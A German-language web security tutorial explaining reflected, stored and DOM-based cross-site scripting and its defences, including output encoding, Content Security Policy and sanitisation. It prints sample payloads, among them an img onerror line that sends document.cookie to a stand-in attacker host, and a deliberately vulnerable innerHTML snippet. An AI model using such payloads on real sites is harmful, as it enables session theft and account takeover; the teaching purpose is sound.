LIVE: New phishing campaigns targeting mobile users —View latest threats →

Back to Tutorials
Experte 13 Min. Lesezeit

Cross-Site Scripting (XSS): Angriff und Abwehr

XSS-Angriffe schleusen bösartige Skripte in Webseiten, um Session-Token zu stehlen. Lernen Sie reflektiertes, gespeichertes und DOM-basiertes XSS mit echten Beispielen.

15. Januar 2026

Was ist Cross-Site Scripting?

Cross-Site Scripting (XSS) ist eine der verbreitetsten Schwachstellen im Web und hat seit Jahrzehnten einen festen Platz in der OWASP Top 10. Die Kernidee ist einfach, aber gefährlich: Ein Angreifer findet einen Weg, bösartiges JavaScript in eine Webseite einzuschleusen, die andere Nutzer in ihren Browsern laden. Wenn der Browser des Opfers diese Seite rendert, führt er das Skript des Angreifers mit dem vollen Vertrauen der Ursprungsdomäne aus — das bedeutet, er kann Cookies lesen, Sitzungstoken stehlen, authentifizierte Anfragen stellen, Nutzer umleiten oder still Tastatureingaben protokollieren.

XSS ist keine serverseitige Schwachstelle im traditionellen Sinne. Der Server ist nur der Übermittlungsmechanismus. Der Exploit läuft vollständig im Browser des Opfers.

Die drei Arten von XSS

Reflected XSS

Reflected XSS tritt auf, wenn vom Nutzer eingegebene Daten sofort in der Serverantwort zurückgespiegelt werden, ohne Sanitierung. Das klassische Beispiel ist eine Suchseite:

GET /search?q=<script>alert(document.cookie)</script>

Wenn der Server Du hast gesucht nach: <script>alert(document.cookie)</script> zurückgibt, ohne die spitzen Klammern zu kodieren, führt der Browser dieses Skript aus. Der Payload reist in der URL, was bedeutet, dass der Angreifer die URL an ein Opfer übermitteln muss — typischerweise über einen Phishing-Link. Reflected XSS ist nicht dauerhaft: Das bösartige Skript wird nirgendwo gespeichert, und jedes Opfer muss auf den manipulierten Link klicken.

Stored XSS

Stored (oder persistent) XSS ist weitaus gefährlicher. Der Payload wird in der Datenbank der Anwendung gespeichert — in einem Kommentar, einem Benutzernamen, einem Profilfeld oder einer anderen gespeicherten Eingabe — und jedem Nutzer zugestellt, der diesen Inhalt ansieht. Eine einzige erfolgreiche Injektion kann Tausende von Sitzungen kompromittieren, ohne weitere Interaktion des Angreifers. Soziale Plattformen, Foren und Content-Management-Systeme sind häufige Ziele. Ein Stored-XSS-Payload könnte so aussehen:

<img src=x onerror="fetch('https://angreifer.de/stehlen?c='+document.cookie)">

In ein Kommentarfeld eingefügt, wird dies für jeden Nutzer ausgelöst, der die Seite ansieht.

DOM-basiertes XSS

DOM-basiertes XSS berührt den Server überhaupt nicht. Die Schwachstelle liegt vollständig im clientseitigen JavaScript-Code, der aus einer vom Angreifer kontrollierten Quelle liest (wie location.hash oder document.referrer) und in eine gefährliche Senke schreibt (wie innerHTML oder eval). Beispiel:

// Anfälliger Code
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hallo, ' + name;

Das Navigieren zu page.html#<img src=x onerror=alert(1)> löst den Payload aus. Da der Payload den Browser nie verlässt, kann serverseitige Ausgabekodierung nicht helfen — du musst das JavaScript selbst korrigieren.

Was Angreifer mit XSS tun können

XSS ist nicht nur alert(1). Reale Angriffe nutzen es, um:

  • Sitzungscookies zu stehlen und authentifizierte Sitzungen zu übernehmen
  • Zugangsdaten zu erfassen, indem gefälschte Login-Formulare in vertrauenswürdige Seiten eingeschleust werden
  • CSRF-ähnliche Aktionen im Namen des Opfers mit dessen authentifizierter Sitzung durchzuführen
  • Drive-by-Malware zu verteilen, indem auf Exploit-Kits umgeleitet wird
  • Kryptowährungen zu schürfen still im Hintergrund
  • Keylogging durchzuführen auf Banking- oder E-Commerce-Seiten

Abwehr: Ausgabekodierung

Die primäre Abwehr gegen XSS ist kontextuelle Ausgabekodierung — das Escapen von Zeichen, bevor nicht vertrauenswürdige Daten in eine HTML-Seite eingefügt werden. Die Kodierungsregeln unterscheiden sich je nach Kontext:

  • HTML-Kontext: <, >, &, ", ' als HTML-Entitäten kodieren
  • JavaScript-Kontext: JSON-kodieren oder \uXXXX-Escapes verwenden
  • URL-Kontext: Den Wert prozentual kodieren
  • CSS-Kontext: Nutzerdaten nach Möglichkeit nicht in Stilblöcke einfügen

Moderne Frameworks wie React, Angular und Vue kodieren Ausgaben standardmäßig. Vermeide rohe HTML-APIs wie innerHTML, dangerouslySetInnerHTML oder v-html mit nicht vertrauenswürdigen Daten.

Abwehr: Content Security Policy

Content Security Policy (CSP) ist ein HTTP-Antwort-Header, der dem Browser mitteilt, welche Skriptquellen ausgeführt werden dürfen. Eine starke CSP kann verhindern, dass eingeschleuste Skripte ausgeführt werden, selbst wenn die Kodierung versagt:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

Die Verwendung von Nonces (zufällige anfragespezifische Token auf legitimen Skript-Tags) ist der effektivste Ansatz. Vermeide unsafe-inline und unsafe-eval — sie heben den größten Teil des CSP-Nutzens auf. Teste deine Richtlinie auf csp-evaluator.withgoogle.com.

Abwehr: Eingabevalidierung und Sanitierung

Eingabevalidierung sollte deine zweite Verteidigungslinie sein, nicht die erste. Lehne Eingaben ab, die nicht dem erwarteten Format entsprechen (z. B. sollte ein E-Mail-Feld keine <script>-Tags akzeptieren). Wenn du Rich-HTML-Eingaben erlauben musst (wie ein WYSIWYG-Editor), verwende einen zweckgebauten Sanitierer wie DOMPurify statt einen eigenen Allowlist zu schreiben — benutzerdefinierte Sanitierer sind notorisch leicht zu umgehen.

Setze auch das HttpOnly-Flag auf Sitzungscookies, um zu verhindern, dass sie von JavaScript gelesen werden, was den Schaden eines erfolgreichen XSS-Exploits begrenzt.

Auf XSS testen

Um XSS in deinen eigenen Anwendungen zu finden:

  1. Kartiere jeden Punkt, an dem Benutzereingaben gespiegelt oder gespeichert werden (URL-Parameter, Formularfelder, HTTP-Header, JSON-Antworten)
  2. Teste jeden Punkt mit einem einfachen Sondierungsstring wie <"'> und beobachte, wie die Ausgabe kodiert ist
  3. Verwende Tools wie Burp Suite, OWASP ZAP oder Dalfox für automatisiertes Scanning
  4. Überprüfe DOM-basierte Senken manuell, indem du JavaScript auf gefährliche Muster wie innerHTML, document.write und eval prüfst

XSS-Findings sollten immer als hochkritisch in Bug-Bounty-Programmen und Penetration Tests behandelt werden — die Fähigkeit, beliebiges JavaScript im Browser-Kontext eines Opfers auszuführen, ist ein extrem mächtiges Primitiv.

#XSS#web security#JavaScript#OWASP#secure coding